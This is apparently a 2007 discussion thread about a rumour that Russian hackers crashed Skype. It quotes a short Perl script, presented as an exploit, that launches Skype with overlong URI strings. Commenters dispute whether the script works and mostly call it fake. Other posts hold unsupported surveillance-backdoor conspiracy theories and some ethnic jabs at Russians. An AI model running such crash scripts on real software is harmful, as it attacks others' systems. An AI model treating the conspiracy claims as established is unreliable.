Did Russian Hackers Crash Skype?

An anonymous reader sends us to the www.xakep.ru forum where a poster claims that the worldwide Skype crash was caused by Russian hackers (in Russian). The claim is that they found a local buffer overflow vulnerability caused by sending a long string to the Skype authorization server. You can try Google's beta Russian-to-English translation, but the interesting part is the exploit code, and that's more readable in the original. The Washington Post reports that Skype has denied this rumor.

The code snippet seems to be wrong

The loop body will never execute....

Re:The code snippet seems to be wrong

It actually executes, I tried the loop just now.

Re:The code snippet seems to be wrong

Hex constants in Perl, like C/C++ have to start with "0", so the correct syntax for what you describe would be 0xCCCCC. Without the leading 0, the expression gets interpreted as a variable name.

Re:The code snippet seems to be wrong

Hex constants in Perl, like C/C++ have to start with "0", so the correct syntax for what you describe would be 0xCCCCC. Without the leading 0, the expression gets interpreted as a variable name.

no, octal numbers start with 0. hex numbers start with x.

typo: no, octal numbers start with 0. hex numbers start with 0x.

Re:The code snippet seems to be wrong

It's the other way around. xCCCC is not a valid number in perl, so the loop will never exit.

Re:The code snippet seems to be wrong

It's obviously a typo. Since it was Russian code, it was supposed to be xCCCP

Re:The code snippet seems to be wrong

Well, this is very very very old Russian hacker tradition: introduce flaw in the crack/exploit to prevent it from being (ab)used by idiots.

Look

strncpy

Re:Look

It's very rare for it to be okay to not write a trailing 0 terminator, or need unused buffer space padded with 0's. and that's exactly what the 'n' functions can do - the number of coders who don't know this and choose to blindly assume the functions protect them is astounding.

Really, though. If you need the buffer space, you need the buffer space. Truncation is usually not an option. This is sloppy coding, but not due to lack of using 'n' functions. Resize as needed or reject the request if it gets too big.

Translation

Here's the article's introductory part properly translated.

"The reason for yesterday's downtime of the Skype network is research of Russian crackers, as reported by one of our readers.

While searching for a local buffer overflow, a possibility was found to send a long string to the server, overflowing its buffer and causing the server to go down. Its place is taken by another server from the P2P network, the error arises on it in the same way, and so on. As a result, the entire Skype network refused service for several hours and the developer team was forced to turn off authentication.

Here's the exploit code:"

Re:Translation

You've got to be kidding, I was about to submit my own translation! :)

Anyway, your version is probably a little better, so I'll contribute with something else. The script is very short too, so here it is:

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
 
for ($i=256; $i>xCCCCC; $i=$i+256)
{
$eot='AAAA' x $i;
call_sp();
}
exit;
 
sub call_sp()
{
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
system("$str");
}

The first page of comments seems to be just the usual bunch of trolls, assholes, and simply useless posts, except for one that claims the code has been shown not to do anything on a dedicated security site [securitylab.ru]. The Skype article on the front page doesn't contain any additional information. The attack looks almost too simple to work, but I wasn't able to find any strong evidence that would suggest that it doesn't, at least not with a few quick searches.

Skype has to change for eavesdropping law

It probably has more to do with Skype retooling for eavesdropping requirements under the new wiretap law. Skype handles a lot of international traffic, encrypted and often in a P2P fashion, so a major change is necessary in order to comply.

From what little I know about Skype, the network can cause both parties in a Skype-Skype call to route through a third party, a supernode (this is done to defeat firewall complications). So perhaps they would be able to start routing all USA-international traffic through in-house supernodes where the stream could be tapped. (Anyone want to correct me? Clarify?)

Lost in translation

Did Russian Hackers Crash Skype?

No. According to the article they were burglars!

They hired DoS specialists against their own users

Skype's login servers usually don't carry much load compared to the mass of traffic routed directly between all nodes via P2P. My guess is they just got overrun because they were not prepared for the worst case: ALL clients trying to connect AT THE SAME TIME to their master. I bet Slashdot wouldn't be prepared for all of its users connecting at the same time, either. But it needs not to. It is never going to happen (why should it? - well how about December 1st, 1AM UTC everybody?). With Skype it's different. They should have been prepared for the case, that whenever their network would be down for whatever reason all clients would try to connect concurrently! Obviously they weren't prepared. If you watched the aftermath closely you could see that they started filtering by IP on day two. Only a certain number of clients were allowed to connect per IP range. They probably hired super expensive DoS emergency contractors to get this back up. A hack is still possible, but I rather guess that it brought the network down, but did not keep it from coming back up. That was Skype's own fault.

Re:They hired DoS specialists against their own us

My guess is they just got overrun because they were not prepared for the worst case: ALL clients trying to connect AT THE SAME TIME to their master.

This is a pretty good example of why centralised network topologies such as Skype, MSN, etc. are a really Bad Idea. It doesn't take much to take down the entire network.

SIP, XMPP, SMTP, etc are all examples of distributed topologies - there is centralised service required(*) for these networks - if one service provider's network falls over it only affects a small number of users rather than taking out *all* the users using that protocol.

(* Yes, they all require the root name servers, but these days the root name server architecture is pretty resillient through the use of technologies such as anycase. Certainly a lot more resillient than any one organisation could hope to achieve for their own propriatory protocols).

They should have been prepared for the case, that whenever their network would be down for whatever reason all clients would try to connect concurrently!

This is not really a question of preparation - it's a question of a sensible network design. The Skype network (and most other propriatory services) is a flawed design _because_ they want to have control of every aspect of the network. Open protocols are generally designed to allow interoperation of independent autonomous networks so an outage of this magnetude is pretty much impossible.

fake?

http://www.ush.it/2007/08/18/why-the-skype-0day-ex ploit-is-a-fake/ [www.ush.it]

It's OK folks!

They were just expressing their frustration with the expanding influence of capitalism. In the future, we should try to react to protests like this with a little understanding.

it was Yetis!

Sunspot activity caused yetis to go crazy and attack several servers and that did it. Seriously, I saw it on a blog written in Swedish so it must be true! Seriously, lots of Russians are egotistical liars, keep it real, people. There's one thing they're good at and that's making fake documentation for stuff.

coincidence?

I bet people are trying exploits against Skype (and other popular servers and services) all the time. If someone tries something funny, and the system crashes a few seconds afterwards, they may assume they were the cause.

Another Soviet Russia comment

In Soviet Russia we crash Skype. Wait... that doesn't seem right.

These coding arguments are funny

Because unless both sides are right, which is unlikely, it means one side is wrong, and doesn't know how to code in very basic ways. Which is why so much software fails.

What really happened !!!

It wouldn't surprise me to learn that Skype shut down their OWN servers at the request of
a "big Brother" agency, for the purpose of installing "Big Brother" software on both the
server(s) and eventually the clients (because now a trojan is installed) into everyone's
system with a "knock knock" protocol that would activate a "wiretap" to capture your
voice, images, and text. That's why we had to DL that "new copy" they wanted us to have.

Now I know you folks think I'm full if shit... I hope the heck I am but there is now
something the "skype hackers" can check out to see if it's really true. I suppose a really
good reverse engineering effort would find something like that.

Why would the Russkies want to mess up Skype, they use it more then anyone else.

Name Change

Maybe they just wanted to changed its name to Russkype.

Skype and Patriot act maybe not hackers?

Original author: Mathaba Skype Problems: Coincidence or Result of Architecture Fix for the U.S. State? Posted: 2007/08/17 From: Mathaba Is it considerable coincidence, or a sign of modifications which would inevitably be difficult to execute without significant disruption? Around 2 weeks ago the Bush administration pushed through Congress a law to bolster the government's ability to intercept electronic communications without a court order. The so-called Protect America Act, which passed both the House and Senate by wide margins just before Congress went on its August recess, allows the government to intercept the phone calls and e-mails of people in the United States who communicate with people overseas, and for the first time, allows the government to intercept communications between foreigners which are merely routed through the United States, as well as conversations of Americans traveling abroad. The new law expanding the government's spying powers gives the Bush Administration a six-month window to install possibly permanent back doors in the nation's communication networks. Prior to the law's passage, the nation's spy agencies, such as the National Security Agency and the Defense Intelligence Agency, didn't need any court approval to spy on foreigners so long as the wiretaps were outside the United States. Now, those agencies are free to order services like Skype, cell phone companies and arguably even search engines to comply with secret spy orders to create back doors in domestic communication networks for the nation's spooks. Other nations like Australia have similar legislation in place already or on the books. Skype presents a challenge to spooks, not so much because of its alleged encryption which could possibly be broken by backdoor access or weaknesses in a system that has not received much independent review and is updated almost daily, but because of its essential peer-to-peer (P2P) nature which makes monitoring of communications more difficult. To enable compliance with the new U.S. laws, which also include that the service providers such as Skype are not allowed to report these activities and are to be immune from prosecution claims for example for violation of the U.S. constitutional or legal rights to privacy, it would be necessary to ensure that the Skype super-nodes are upgraded with software modifications to ensure more centralised routing and easier access to monitoring. The fact that Skype has not had a serious outage in many years of operation until just two weeks after the passage of this new law could be mere coincidence, but otherwise could point to just such upgrades and modifications having been performed, and gone wrong. Messing with the Skype super nodes is no light matter, and the Skype P2P technology developed in Estonia was a closely guarded secret. U.S. company eBay, which owns also PayPal, faces allegations of compromise on security and privacy issues. It purchased Skype for some 5 billion dollars last year. Most of the original Skype programmers have since left the company and changing the P2P algorithms to allow compromise could be a tricky and risky business whilst around 8 million users are online, and may have simply gone wrong. The choice of words by Skype in revealing its problems - software and "algorithms" - also lends credence to this theory: algorithms are typically used in automated encryption systems. The original Skype protocol which had received an independent review and generally received the thumbs up for security implementation has long since been modified hundreds of times with automatic updates to most clients now being in force, thus there would be nothing to guarantee that those systems had not since been hopelessly compromised. Skype's C.E.O. had promised an interview with Kurt Sauer for Mathaba News last year, but the interview never materialised. Several attempts were made to establish communication, but were ignored. When it was brought to his direct attention that a company with significant Israeli involvement was compromising the security of

Just watch the Skype blogs...

The Skype blog [skype.com] had info being posted all during the outage, and will have a summary of what happened soon. They never indicated it was anything related to any outside intrusion.

It was Microsoft's fault

Sort of...
According to a Register report, "Patch Tuesday update triggered Skype outage".

"Skype has blamed last week's prolonged outage on the effects of Microsoft's Patch Tuesday.

The latest security update from Microsoft required a system reboot. The effect of so many machines rebooting and subsequently trying to log onto the Skype VoIP network triggered system instability and a prolonged outage of almost two days starting on Thursday1. Services have now being restored."

http://www.theregister.co.uk/2007/08/20/skype_outa ge_post-mortem/ [theregister.co.uk]

Re:In Soviet Russia...

In America you crash when using the phone.

Re:IN SOVIET RUSSIA

And the long string was... "In Soviet Russia we are tired of all the mindless obligatory comments about the beloved Motherland."

Re:Russians ? They don't have good education

That's funny. I know way too many highly-educated Russians to believe that. Nice try though.

Re:Russians ? They don't have good education

LOL. "American school system". What is it, an oxymoron contest? :)

Re:interesting

Mr. troll FYI Skype is closed source.